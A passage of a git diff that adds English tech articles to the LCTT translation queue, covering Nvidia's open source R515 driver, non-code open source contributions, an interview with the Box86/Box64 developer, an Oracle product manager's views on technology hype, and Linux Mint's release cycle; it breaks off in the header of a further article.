+1,34 @@ +[#]: subject: "The Effect of Nvidia’s Open Source Drivers On Linux Gamers" +[#]: via: "https://www.opensourceforu.com/2022/08/the-effect-of-nvidias-open-source-drivers-on-linux-gamers/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +The Effect of Nvidia’s Open Source Drivers On Linux Gamers +====== +The community will receive an open source driver from Nvidia for the first time with the release of the R515 driver, which should make it easier for Linux users to use Nvidia graphics cards in their computers. It is advantageous for Nvidia to support more open source technological standards. Unfortunately, Nvidia has not consistently embraced open sourcing software, which has led to some controversy in their user group. However, this might be improving with the new R515 driver. + +People have been pleading for Nvidia to make their driver software more accessible, like firms like Intel and AMD that offer open source drivers for their goods. But up until now, Nvidia’s drivers have been closed-source, which doesn’t present too many problems for Windows users but makes utilising Nvidia GPUs more difficult to optimise for the Linux community. Unlike AMD drivers, which are open source and enable developers to fully see how the drivers were coded, Nvidia drivers are closed-source, making it impossible for developers to examine the source code of a driver and create their software with a complete understanding of how the drivers were created. + +So how will Linux gaming be impacted by Nvidia’s new R515 drive? Most likely, it won’t have a significant impact right away. Nvidia GPUs can be used for gaming on Linux because the company offers Linux drivers, despite the fact that they are proprietary. Numerous Linux distributions, including PopOS, will automatically install Nvidia drivers for the user. However, if Nvidia keeps releasing its drivers as open source software over time, Linux developers will be able to benefit from the advantages that open sourcing drivers has provided for AMD, such as increased compatibility and a variety of driver options, either proprietary or open source, depending on what the user requires. In the same way that AMD and Intel are the most dependable choices on Linux in comparison to Nvidia, being open source can also aid in the development of drivers and boost dependability for Linux. + +Because of how amazing Nvidia’s proprietary drivers have always been on Windows and how great they are generally on Linux, many gamers and Linux users continue to utilise Nvidia GPUs rather than exclusively AMD. Before the R515 driver, there was also a free and open-source Nvidia driver named Nouveau. The official Nvidia proprietary drivers were generally faster and more dependable than this driver. This is most likely caused by Nouveau not being the official open source driver from Nvidia and instead being a product of Nvidia driver reverse engineering. Another drawback of Nouveau is that it does not enable GPU reclocking, which is a major obstacle for customers who want to overclock their Nvidia GPU. + +Overall, the news that Nvidia will now officially offer open source drivers is a significant plus. Since the drivers are now open source, the community will be able to assist in the development of new drivers, giving developers far more information about the drivers they are creating applications and games for. Over time, Linux will also gain since it has a high chance of being just as dependable and compatible with Nvidia GPUs as it is with AMD and Intel, which will improve gaming performance and efficiency. Nvidia’s decision to make its software open source may continue to increase pressure on other tech companies to disclose more information about their products, which will support a more liberal and open future for technology. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/the-effect-of-nvidias-open-source-drivers-on-linux-gamers/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/sources/talk/20220818 Open source runs on non-code contributions.md b/sources/talk/20220818 Open source runs on non-code contributions.md new file mode 100644 index 0000000000..fcc16dc1ef --- /dev/null +++ b/sources/talk/20220818 Open source runs on non-code contributions.md @@ -0,0 +1,90 @@ +[#]: subject: "Open source runs on non-code contributions" +[#]: via: "https://opensource.com/article/22/8/non-code-contribution-powers-open-source" +[#]: author: "John E. Picozzi https://opensource.com/users/johnpicozzi" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Open source runs on non-code contributions +====== +Sometimes the hardest part of becoming an open source contributor is realizing how much you have to offer. + +At this year's DrupalCon North America, EPAM Solution Architect John Picozzi presented a talk about the importance of non-code contribution. He talked about how everyone can get involved and why he believes this is an important topic. This article is a text adaptation of John's talk; find a link below to a video recording of the complete presentation at DrupalCon. + +What is non-code contribution? I asked Google this question and got the following answer: "Any contribution that helps an open source project that does not involve writing code." Thanks, Google, but I already figured that out. If you asked me to dig deeper, I'd say it's about providing your time, skills, and resources to benefit a project. + +### Who is an open source contributor? + +Early on, "contribution" implied writing code. Originally, Drupal's model was "Built by developers, for developers." Over the years, however, the Drupal community has shifted away from that mindset. Our community has learned to value non-code contributions just as much as code: Any contribution is contribution. + +Open source is built in meetups, camps, and cons; it's built-in and by the community. In fact, most of the contributions at those events have very little to do with coding. To have those events, you need attendees, speakers, trainers, and organizers. Don't get me wrong: Of course, open source communities still need people who write code, but that's not the only thing they need. If you participate in the community and share ideas, ask questions, or provide help—congratulations, you're already contributing! + +Is contributor a self-designation ("I'm a contributor") or a community designation ("We say you're a contributor")? It's safe to say that everyone is a contributor: conference attendees, designers who create UI and module logos, marketing folks who help market modules or events, and many more. Don't wait for someone else to give you that designation. You can get involved and feel confident telling others you're a contributor. + +There are many ways to motivate someone (or yourself) to contribute. Money is not always the top motivator. However, sometimes contribution can be paid work. Many people contribute simply because they want to give back to the community. + +Everyone would probably give a different answer from their peers when asked why they contribute, but here are some of the most common responses: + +* It makes you feel good +* Building and improving skills +* Career development +* Making connections/networking + +The list is endless and as varied as the contributors themselves. Each contributor has their own reasons, and there are no right or wrong answers. + +![Reasons to contribute to open source][2] + +Image by: (John Picozzi, CC BY-SA 4.0) + +### Why non-code contribution is important to open source + +Non-code contribution is as valuable to the health of a project as writing code. It helps to get more people with a wide variety of skills involved in the community. Everyone has something to offer and a unique skill set to share. + +There are non-code requirements for all projects, and not everyone is a developer or coder. Moreover, different points of view need to be represented. For example a marketing person will likely have different experiences and perspectives than a developer. Every effort moves open source forward in some way—that's why non-code contribution is essential. + +#### Common challenges + +This definition of contribution may make it sound very simple: Just share your knowledge, express your thoughts, and help the community. However, contributors face several challenges. One of the most common is imposter syndrome. Less experienced contributors may worry that their contribution isn't valuable or helpful. You can combat that feeling by focusing on your specific skills and passions. For example, if you have event organizing experience, you can lean into that and focus on organizing and helping with those activities. + +To combat these negative thoughts, make contributing a positive experience. Work/life/contribution balance is important. Contribution should be enjoyable, not just another job. If you can, implement contribution into your work. Many employers encourage and benefit from your contribution, and it's possible to build a career based on contribution. + +Don't burn out and contribute nonstop during nights and weekends. Just add 30 minutes to the start or end of your day, or incorporate contribution into your regular workday if possible. + +### How to make your first non-code contribution + +At this point in the article, I hope you're thinking, "OK, I'm ready. What do I do?" How do you get involved? Just do it! You only need to get started: For example, to start contributing in the Drupal community, ask in [the issue queue][3] or [Drupal chat][4] or reach out to camp organizers for recommendations. A whole community is waiting to support you. + +![A slide depicting many Drupal community project logos, including regional Drupal meetups, Drupal coffee, Drupal talent and education. The slide is filled with a variety to indicate the large number and wide range of opportunities to participate in community projects.][5] + +Image by: (John Picozzi, CC BY-SA 4.0) + +Remember to follow your skills and interests. You have them, so use them to inspire your contributions. Your interests may differ from your skills: You could decide to contribute to something you have little experience with but always wanted to know more about. Simply talk to people, share knowledge, ask questions, go to a camp or a meetup, and contribute. + +I want to close with a quote by Margaret Mead (an American anthropologist) that perfectly describes open source contribution to me: "Never doubt that a small group of thoughtful, committed citizens can change the world. Indeed, it is the only thing that ever has." Dr. Mead doesn't say "a small group of code writers or developers." She says a thoughtful, committed group of citizens—citizens with great passion and many different skills. That's what powers open source, and that's what powers Drupal. + +Watch the talk below or [on YouTube][6]. + +![YouTube video player][7] + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/non-code-contribution-powers-open-source + +作者:[John E. Picozzi][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/johnpicozzi +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/OSDC_dandelion_520x292.png +[2]: https://opensource.com/sites/default/files/2022-08/non-code-contribution-open-source.jpeg +[3]: https://www.drupal.org/project/issues/drupal?categories=All +[4]: https://www.drupal.org/community/contributor-guide/reference-information/talk/tools/slack +[5]: https://opensource.com/sites/default/files/2022-08/Drupal%20contributor.png +[6]: https://www.youtube.com/watch?v=NwNqfpISMPM +[7]: https://youtu.be/NwNqfpISMPM diff --git a/sources/talk/20220820 There is Life After the Death of x86.md b/sources/talk/20220820 There is Life After the Death of x86.md new file mode 100644 index 0000000000..66c6a50156 --- /dev/null +++ b/sources/talk/20220820 There is Life After the Death of x86.md @@ -0,0 +1,121 @@ +[#]: subject: "There is Life After the Death of x86" +[#]: via: "https://news.itsfoss.com/box86-creator-ptitseb/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +There is Life After the Death of x86 +====== +Discussing X86 emulation on ARM devices with the creator of Box86 and Box64 projects, Ptitseb. + +![There is Life After the Death of x86][1] + +[Box86][2] and [Box64][3] are two pieces of software that allow apps made for X86 to run on ARM devices like the Raspberry Pi. It also aims to be both simple to use and able to run on low-end devices. + +Above all else, it is a completely open-source project, meaning that it has the full support of the community behind it. + +However, one man is at the forefront of this effort, and I had the pleasure to have a chat with him about what Box86 and Box64 are, their origins, and what the future holds for the project. + +Here is what we discussed. + +### Interview with Box86 and Box64’s main developer: Ptitseb + +I hope the questions and their responses make for good reading and give you a deeper understanding of X86 emulation and ARM devices in general. + +**Q. What were your main reasons to create Box86 and Box64?** + +**Ptitseb:**My main goal was to create an x86 emulator that ran on low-spec hardware. I’m quite active within the Open Pandora community [a small single-core ARM computer from 2012] and wanted to create a usable emulator for it. Put simply, I wanted a small and fast emulator for my Open Pandora + +**Q. What is your target audience with Box86 and Box64? Is it meant to only be used by hardcore Linux enthusiasts, or just the average Linux user?** + +**Ptitseb:** Aside from speed, one of my other goals with Box86 and Box64 is to have something that is usable by everyone. I designed Box86 to be as non-intrusive as possible; you install it, and then it just works. For now, I only provide source code, so as long it is not pre-compiled, it isn’t for everyone as it still needs to be compiled from source (even if it is relatively simple to do so). + +For now, it’s for experienced users, but the end goal is to allow everyone to use it easily. + +**Q. How are Box64 and Box86 different from previous attempts at running X86 applications using QEMU?** + +**Ptitseb:** As I said before, my goals were to have something that was fast and easy to use. As a result, I have made quite a few choices that the QEMU team hasn’t taken. For example, the main goal of QEMU is to be as precise and as close to the real hardware as possible. My goal is not that. Instead, I want something that is fast, even if I have to do some approximation to do so. + +I guess that the biggest difference between Box86/Box64 and QEMU is that I want Box86 to be as close to the actual hardware as possible and not as close to the emulated hardware (as would be found in QEMU). For example, X86 CPUs use 80 bit data, which ARM CPUs just can’t handle. While I could emulate this, it would significantly reduce speed, so I instead just use double 64-bit data. And it works! Even if it doesn’t work 100% of the time, for games, who cares! + +In simple terms, with this approximation, I get much more speed, at the expense of precision. + +**Q. Linux runs on an incredibly large number of devices. Because of this diverse target, I’m assuming not all hardware will work. Therefore, what kind of hardware is currently supported?** + +**Ptitseb:**For Box86 to run, the computer needs to be little endian. This is a hard requirement, as Box86 translates code, not memory. Aside from that, there isn’t much stopping Box86 and Box64 from running, apart from a few more things. + +Obviously, for Box86 to run, you need a 32-bit OS, and for Box64 a 64-bit OS, which is another hard requirement. Finally, if you want to use Dynarec, which significantly increases speed, you must be using ARM, not testing on an X86 PC. + +**Q. With the release of the Steam Deck, Valve has promised vastly improved compatibility with Windows games thanks to the Proton compatibility layer. Once the new Proton version is released, do you think it will be possible to run those games with Box64?** + +**Ptitseb:**I honestly don’t know, I still need to start working on that. It is definitely a goal that I want to work towards, mostly because it would just be nice to have! However, before I can get that working, I have a few other things that need to be finished first. For example, steam doesn’t work particularly well yet, so that will need to be improved before I can start working on Proton. + +So yes, it is an objective, but it still will be a while before it works well. + +**Q. I’m sure that you are aware of Apple’s Rosetta 2 translation layer. How do Box64 and Box86 compare to it?** + +**Ptitseb:**It’s difficult to say, as I still haven’t done much analysis of Rosetta 2. My understanding is that Rosetta uses an offline code converter, which neither Box86 nor Box64 have. Unlike Rosetta, Box64 doesn’t keep translated code, instead doing everything in the runtime. + +Other than that, Apple is always going to do translation better than Box64, as they have control over the full OS. After all, I can’t just change Linux to fit Box64, it needs to be the other way round. + +**Q. What future plans do you have for Box64?** + +**Ptitseb:**I’m currently thinking of a new Box piece of software, Box32, because why stop at two emulators when I can do three? Box32 will be a 64-bit emulator that runs 32-bit software. I can see, especially on ARM, that the 32-bit hardware is being phased out now, and as such Box86 will soon become obsolete because we won’t have any hardware to run it on. + +But this one will be tricky because the wrapping will have to be much smarter than the implementations in Box86 and Box64. This is a huge amount of work, so I am still trying to find a good solution that doesn’t require too much work on the conversion phase while still having something fast and usable. However, that’s a future project, just because of the sheer size of it. + +**Q. Looking at your GitHub profile, it appears that you have previously put a lot of work into porting individual games to the Open Pandora. Is Box86 an extension of that, or it is it a completely different project with different aims?** + +Yes, I guess it is an extension of that in some ways. On the Pandora, I port a lot of stuff, and to help make the process easier, I forked [GLshim][4], creating Gl4ES. This provides automatic translation from OpenGL to GLES2, making porting much faster. + +After that, I made Box86, which was yet another step towards making porting easier. Now, even if I don’t have the sources, I can still port things to the Open Pandora. + +So yes, it some kind of extension to the porting and getting software available for hardware that it would otherwise not be available for. + +**Q. How does GL4ES fit into the picture? Is it necessary to play most games?** + +It really depends on the hardware. Some hardware doesn’t have a full OpenGL driver (or at least supported by Mesa), so you will need GL4ES to play games on hardware like this because full PC games don’t care about GLES. + +If the hardware is supported by Mesa, like the Raspberry Pi 4, or the RK3399 SoC with Panfrost, it should be fine without it; you won’t need Gl4ES. + +So if Mesa doesn’t support the hardware or the hardware doesn’t support OpenGL, you will need GL4ES to run games. + +**Q. Finally, is there anything you would like to tell the community?** + +Well, I see that Intel, AMD, and the X86 world as a whole is dying. We saw back in 2020 that Apple really shook the world with the M1, and suddenly we saw that X86 is not the only thing that could be powerful enough for desktop computers. + +Now we are seeing alternative architectures like RISC-V that are emerging, and ARM is starting to appear in desktop computers too. So, X86 is not the only way to have a powerful PC for gaming and general use, and Box86 and Box64 are really just trying to help that movement. + +After all, there is a life after the death of X86. + +### Closing Thoughts + +With all the incredible work that Ptitseb has done, it was truly an incredibly interesting experience to gain a deeper insight into the workings of a project like Box86. The mention of a possible Box32 version was also very exciting to hear about, and I hope you are excited too. + +If you want to learn more about Box64, I’d highly suggest reading our release article on it. + +[Box64 Emulator Released for Arm64 Linux][5] + +With that, do you use Box86 or Box64? What are your thoughts on the future of those projects? Please feel free to let us know in the comments below. + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/box86-creator-ptitseb/ + +作者:[Jacob Crume][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/08/box64-arm.jpg +[2]: https://github.com/ptitseb/box86 +[3]: https://github.com/ptitseb/box64 +[4]: https://github.com/lunixbochs/glshim +[5]: https://news.itsfoss.com/box64-emulator-released/ diff --git a/sources/talk/20220825 -I wish the industry would not follow this ever increasing hype cycle for new stuff-.md b/sources/talk/20220825 -I wish the industry would not follow this ever increasing hype cycle for new stuff-.md new file mode 100644 index 0000000000..a7b32a5001 --- /dev/null +++ b/sources/talk/20220825 -I wish the industry would not follow this ever increasing hype cycle for new stuff-.md @@ -0,0 +1,105 @@ +[#]: subject: "“I wish the industry would not follow this ever increasing hype cycle for new stuff”" +[#]: via: "https://www.opensourceforu.com/2022/08/i-wish-the-industry-would-not-follow-this-ever-increasing-hype-cycle-for-new-stuff/" +[#]: author: "Abbinaya Kuzhanthaivel https://www.opensourceforu.com/author/abbinaya-swath/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +“I wish the industry would not follow this ever increasing hype cycle for new stuff” +====== +*While new technologies can lead to innovations, hype often goes with the territory. Gerald Venzl, senior director, product management at Oracle Corporation speaks with Abbinaya Kuzhanthaivel about the risks of following the hype, and shares his thoughts on how to grow a career by contributing to open source projects.* + +##### Q. Can you tell us a bit about your journey with open source? + +**A.** I currently work as a database product manager looking after the Oracle Database. As part of my job, I help steer the direction of the product and help pinpoint priorities in the market that need to be addressed. Often people are surprised when I tell them that open source is an important aspect of that. For example, Oracle recently launched a Kubernetes operator for its database, which is fully open source and is available on GitHub. But we have also Docker build files on GitHub, and even some of our Oracle Database drivers are fully open source, such as our Node.js driver and the Python driver. + +##### Q. Is Oracle your first venture into open source? + +**A.** I was accustomed to open source in my personal life before joining Oracle. For me, open source is a natural part of my job. +Oracle has a long-standing commitment to open source with Oracle Linux, Java, MySQL and many other projects. Although the Oracle Database core is proprietary, we see the value of open source and having people to contribute and understand the technologies around it. + +##### Q. What do you think about open source as an opportunity? + +**A.** The thing that I like about open source is that it’s essentially a democracy and everybody gets to participate. Not that all participants are core contributors, but it connects people from all over the world. The exposure to projects and other developers is important for growing your skillset and your career. + +In Oracle, we are currently focusing a lot on the Kubernetes operator. That’s an exciting project. In my free time, I also write little tools and open source them. I had worked a little on a command line tool called ‘csv2db’, that allows you to load CSV data into a database. I see these projects as a chance to educate myself. You read something, and then you try to implement it and see whether you really understood it, whether it works and so on. + +##### Q. How did this change happen from being a developer to a product manager? + +**A.** My path was probably highly irregular. I am from Austria originally where I worked as a developer for an American company headquartered in New York. I was part of the performance engineering team. I was actually one of those guys who tried to profile the code and those skills eventually brought me to troubleshoot production systems at customer sites. I relocated to New York, and then a couple of years later Oracle asked me to join their pre-sales team as a result of our earlier interactions in running proof-of-concepts and performance tests on their systems together. + +I liked the opportunity to learn by interacting with customers directly and discussing requirements. But for me, the turning point was moving back into development and specifically into the technical aspects as product manager. + +##### Q. What are the top two ‘must have’ qualities of your role? + +**A.** I think one must definitely be able to accept ever-changing requirements. But it’s not just a reactive job. You also have to have a curious mindset. If you have a curious mind, are open to new ideas, and can think out-of-the-box, you can establish your priorities and grow into the role. + +##### Q. What would you like to say about the challenges in your current role? + +A. Product manager is a very diverse and ever-changing role. One must be highly adaptive because you need to go through steering the product, prioritising the internal roadmap and also accept changes depending on market demands and customer needs. So the key challenge, and also the fun part, is that no day really ever looks the same. + +##### Q. Any important risk you have taken so far which you think might inspire others? + +**A.** I think my shifting into product management was the biggest risk. The future is unpredictable and one must dare to take such risks. For open source projects, it’s probably taking the step and actually wanting to contribute to a project. It can be a bit daunting in the beginning, especially to know where to start contributing for very popular active projects. Not all contributions have to be done in code; often people appreciate help with the documentation or testing. There are many ways to get started — the important thing is that you do get started. If you are passionate about something, you will have to go after it. You may have people not reacting the way you expect at first, but that’s okay. It will essentially help to learn. + +##### Q. What do you consider as top leadership qualities? + +**A.** There are a couple of things that I think are important for leadership. And the first one is that it’s okay to be wrong and acknowledge it. This also encourages people around you to freely share ideas. The other thing would be to take chances and get out of your comfort zone. I have never formally learnt product management. I just was intrigued by it, gave it a try and I thought, let’s see how it goes. It has put me in a good space for growth. + +##### Q. Anything you are not very happy about when it comes to open source? + +**A.** I wish the industry would not follow this ever increasing hype cycle for new stuff. New doesn’t automatically mean great. We may talk just about all the new things out there, but the world still runs on Linux and, remember, we still use the HTTP, TCP/IP and all those technologies today. The fundamental technologies that connect us around the globe have been there for a long time. Something doesn’t have to be new to be great and often new technologies go just as fast as they came. + +##### Q. What are the major risks in going ahead with new technologies? + +**A.** A major risk is forgetting or not wanting to ask the “why” we need the new technology. In our industry we get excited very quickly about something that we then want to work with. Sometimes that means that we oversimplify some business requirements and kind of omit the downsides of a new technology, just so that we can use it for a new project. I agree that new things lead to innovations and there is nothing wrong with that. But I have equally seen just as many projects fail that tried to replace the legacy system because a new buzz technology is out there and looks attractive. I’ve seen a three or four year-long project fail because no one bothered to look at the ‘why’ when replacing the previous system; and although it solved the new requirements, people forgot to ask themselves what the old system did well and they just ended up with those old issues again. + +##### Q. How does one keep away from the hype around new technologies? + +**A.** I would say that, as a developer, don’t just blindly follow the latest and greatest. If someone is telling you new stuff, well it’s great to know. But it’s no surprise to me that Linux runs the world and HTTP runs the Web, because those technologies are really well-designed. Have an open mind and look at what’s new, but think about whether this new technology actually will serve your needs. It’s fine if it doesn’t. + +##### Q. How can a developer find projects to contribute to while keeping away from the hype? + +**A.** There’s nothing wrong with working on a hype project, but you have to make sure that you actually have interest. Think small — don’t expect to become the main contributor in the next two weeks or in a short span. + +Remember most of the open source projects really like non-code contributions just as much, such as testing or reporting bugs or lack of information in the documentation. Don’t just go into it to write some code. Initially have some idea about which area you want to contribute to. It should be something that excites you. Go to GitHub and just read through project contributing guidelines. It will tell you what contributions the project needs and how to make them correctly. + +Your work may be small, like adding a sentence to the doc or correcting a typo. But it will allow you to get familiar with the process and with the other people involved in these projects. Do not expect to jump into a project and change its core. Most likely, only an approved committee of committers can actually change that part of the code. Build some trust, show that you understand the project and over time your involvement will grow naturally. + +##### Q. Any examples of projects you think were overrated because they had just used a new technology? + +**A.** I have seen a few working in the database space. When you think about it, relational databases have been around for a very long time and are still going strong. To some extent, we have forgotten why relational databases became so popular. The goal was to organise the data in a way so that five years from now somebody who comes in and has no clue what the data looked like, can make sense out of it. For a while there was a general hype that you no longer need any database, whether relational or non-relational, because Hadoop will do everything. And it didn’t. It actually just led to data cleansing issues for many folks. Don’t get me wrong — there are companies that successfully run Hadoop clusters and there is nothing bad about the technology itself. But you have to understand what it is and when to use it. + +##### Q. Oracle has recently introduced the new MongoDB API for its autonomous database. What was the reason behind it and how did it happen? + +**A.** At Oracle, we follow the converged database methodology. This methodology focuses on bringing the algorithms and computation to the data, rather than the other way around. A very good analogy for converged database methodology is the smartphone, where you can do multiple use cases in one device, like taking a picture and sending it to a friend while being on a phone call, for example. In recent years, we have seen a proliferation of vendors pitching their technology to address an often simple use case For example, developers like working with JSON documents and MongoDB allows them to store and retrieve these documents. But it is one thing to store and retrieve these and another to analyse terabytes of them in real-time. We think SQL is a really good language for any kind of analytics and we have the best database for mixed workloads, i.e., allow real-time analytics while transactional workloads are running. Additionally, Oracle Database has been managing JSON documents natively since 2014. + +Developers love the MongoDB API as it makes database interaction very natural for them. And we have the best database for analytics and mixed workloads that can also manage JSON documents natively. So we decided to give developers the best of both worlds — the same MongoDB API on top of the world’s leading database. + +##### Q. Will you say MongoDB is a new hype? + +**A.** The JSON format is a very useful hierarchical format and is nothing new — it’s been around since 2001. If you want to use JSON, then go ahead, by all means. Oracle has done a lot of work to introduce JSON operations into the SQL standard, and we see more and more databases supporting these standardised operations. You will find that if you want to work with JSON, retrieve JSON documents, query and manipulate data in JSON documents, you definitely don’t need to have a document store anymore. MongoDB is a cool technology, but so were XML databases in their days. I think it is definitely not needed for data management aspects. + +##### Q. Any hiring plans? + +**A.** We are constantly hiring great talent and all our openings can be accessed on the Oracle careers page. We are looking for people in a variety of different roles, including engineering and product management. We are strong in diversity and have people from all around the world and all ages, including graduate students. + +##### Q. Your message for our readers. + +**A.** Programming is a universal language and it’s great to be a developer and write programs. Don’t be shy, be always ready to try something new and get out of your comfort zone to do things you are passionate about. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/i-wish-the-industry-would-not-follow-this-ever-increasing-hype-cycle-for-new-stuff/ + +作者:[Abbinaya Kuzhanthaivel][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/abbinaya-swath/ +[b]: https://github.com/lkxed diff --git a/sources/talk/20220825 Linux Mint Release Cycle- What You Need to Know.md b/sources/talk/20220825 Linux Mint Release Cycle- What You Need to Know.md new file mode 100644 index 0000000000..5366937974 --- /dev/null +++ b/sources/talk/20220825 Linux Mint Release Cycle- What You Need to Know.md @@ -0,0 +1,126 @@ +[#]: subject: "Linux Mint Release Cycle: What You Need to Know" +[#]: via: "https://itsfoss.com/linux-mint-release-cycle/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Linux Mint Release Cycle: What You Need to Know +====== +Linux Mint is an Ubuntu-based distribution. You probably already know that. + +Ubuntu releases a new version every six months but Linux Mint doesn’t follow the six-monthly release pattern. + +Linux Mint uses the Ubuntu LTS ([long term support][1]) version as its base. An LTS version of Ubuntu is released every two years and hence **you also get a major Mint version every two years** (Mint 19, 20, 21, etc). + +Like the Ubuntu LTS versions, a major Linux Mint version is also supported for five years. Although, there are **three point releases in between** (Mint 20.1, 20.2, 20.3). + +Compared to Ubuntu, how long does Linux Mint receive updates? When should you expect an upgrade for Linux Mint? Should you upgrade when a new version is available? + +Here, let me highlight all these necessary details regarding the release cycle of Linux Mint. + +### Release Cycle of Linux Mint + +Ubuntu releases a long-term support release every two years. A Mint version is followed soon after. In other words, you get a new Mint version every two years. + +So, the Linux Mint 20 was released in 2020 based on Ubuntu 20.04, Mint 21 came in 2022 based on Ubuntu 22.04. + +Unlike Ubuntu, there is no strict release schedule for Mint. There is no predefined release date. The new version arrives when it is deemed ready by its developers. + +#### Point Releases + +In between the two (major) version releases of Mint, there are three point releases that arrive at an interval of six months. + +So, Mint 20 (or 20.0) was released in June ’20. Mint 20.1 came in December’20, Mint 20.2 in June’21 and Mint 20.3 in December’21. After that, the Mint team works on developing the next major release. + +What do these point releases have? A new version of the desktop environment, containing mostly visual changes in the UI. It may also feature new applications sometimes. + +The upgrade to the point release is optional. You can choose to stay with 20.1 and not upgrade it to 20.2 and 20.3. This is preferred by people who don’t like frequent (visual) changes to their systems. + +After the last point release (XX.03), your system will only get security and maintenance updates for installed software. You won’t get new major versions of the desktop environment and some other software like GIMP or LibreOffice. + +#### Support Cycle + +Not all Ubuntu-based distributions give you the same update cycle benefit as Canonical’s Ubuntu. Many Ubuntu-based distributions and the [official flavours][2] provide support for up to 3 years. + +Fortunately, for **Linux Mint**, you get the same update perks as Ubuntu. + +**Each Linux Mint release is supported for five years**. After that, you must upgrade to the next version or install the newer version afresh. + +For example, Mint 20 was released in 2020, a few months after Ubuntu 20.04. Ubuntu 20.04 LTS is supported till 2025 and thus Mint 20 series is also supported till 2025. + +All point releases of a series are supported till the same date. Mint 20.1, 20.2, and 20.3 will all be supported till 2025. + +Similarly, Ubuntu 22.04 LTS will be supported until April 2027. You can expect the update cycle for Linux Mint 21 series (based on Ubuntu 22.04) until the same timeline. + +**To summarize:** + +* You get a new major version of Linux Mint every two years +* Each major version is supported for five years +* Each major release (version XX) is followed by three point releases (XX.1, XX.2, XX.3) before the next major release +* The point releases (XX.1, XX.2, XX.3) are supported till the same time as their major version (XX) + +### When Should You Upgrade Linux Mint? + +That totally depends on you. + +A new major version comes every two years. If you can choose to upgrade it then or you can stay with your current version for its entire lifecycle of five years. + +Unless you want access to the latest features and improvements, you can choose not to upgrade your Linux Mint installation to another major version. + +For point releases, you may or may not choose to update. Like, 20 to 20.1 or 20.1 to 20.2. You will still get important security and maintenance updates even if you are not using the latest point release. + +You can refer to our [Linux Mint upgrade guide][3] for help. + +### Linux Mint Versioning and Naming + +Unlike Ubuntu’s flavours, Linux Mint has a different numbering scheme. Linux Mint likes to bump up the number with every Ubuntu LTS release. + +In other words: + +Linux Mint 19 → **Ubuntu 18.04 LTS** + +Linux Mint 20 → **Ubuntu 20.04 LTS** + +Linux Mint 21 → **Ubuntu 22.04 LTS** + +So, you should steer clear of the following confusion: + +*Linux Mint 20 was based on Ubuntu 20.04 does not mean that Linux Mint 21 will be based on Ubuntu 21.04.* + +Furthermore, every release has **three-point releases**, with minor updates to the core and potential upgrades to some Linux Mint applications. + +Now, coming to its **naming scheme**: + +Every Linux Mint release, be it minor or major, has a codename. Usually, it is a female name, normally of Greek or Latin origin. + +Like Ubuntu, there is a pattern in the codename as well. The codenames are in alphabetically increasing order for the major releases. When it comes to point releases, you will find a new name starting with the same alphabet. + +For example, Mint 20 was called **Ulyana**, with 20.1 as **Ulyssa**, 20.2 as **Uma**, and 20.3 **Una**. Similarly, Mint 19 series had codenames starting with T. + +At the time of writing this, Mint 21 (the latest release) codename starts with **V,** and the first release of the 21 series is called **Vanessa**. + +There will be at least three more minor releases in the Mint 21 series, and they will be released every six months until the next Mint major release in 2024. And they all will have a codename starting with the letter V. + +### Keep it Minty + +I hope this article clears any confusion with Linux Mint upgrades and educates you more about the release and update cycle on Linux Mint. + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/linux-mint-release-cycle/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/long-term-support-lts/ +[2]: https://itsfoss.com/which-ubuntu-install/ +[3]: https://itsfoss.com/upgrade-linux-mint-version/ diff --git a/sources/talk/20220826 Why Companies Need to Set Up an Open Source Program Office.md b/sources/talk/20220826 Why Companies Need to Set Up an Open Source Program Office.md new file mode 100644 index 0000000000..5de3dc4d07 --- /dev/null +++ b/sources/talk/20220826 Why Companies Need to Set Up an Open Source Program Office.md @@ -0,0 +1,111 @@ +[#]: subject: "Why Companies Need to Set Up an Open Source Program Office" +[#]: via: "https://www.opensourceforu.com/2022/08/why-companies-need-to-set-up-an-open-source-program-office/" +[#]: author: 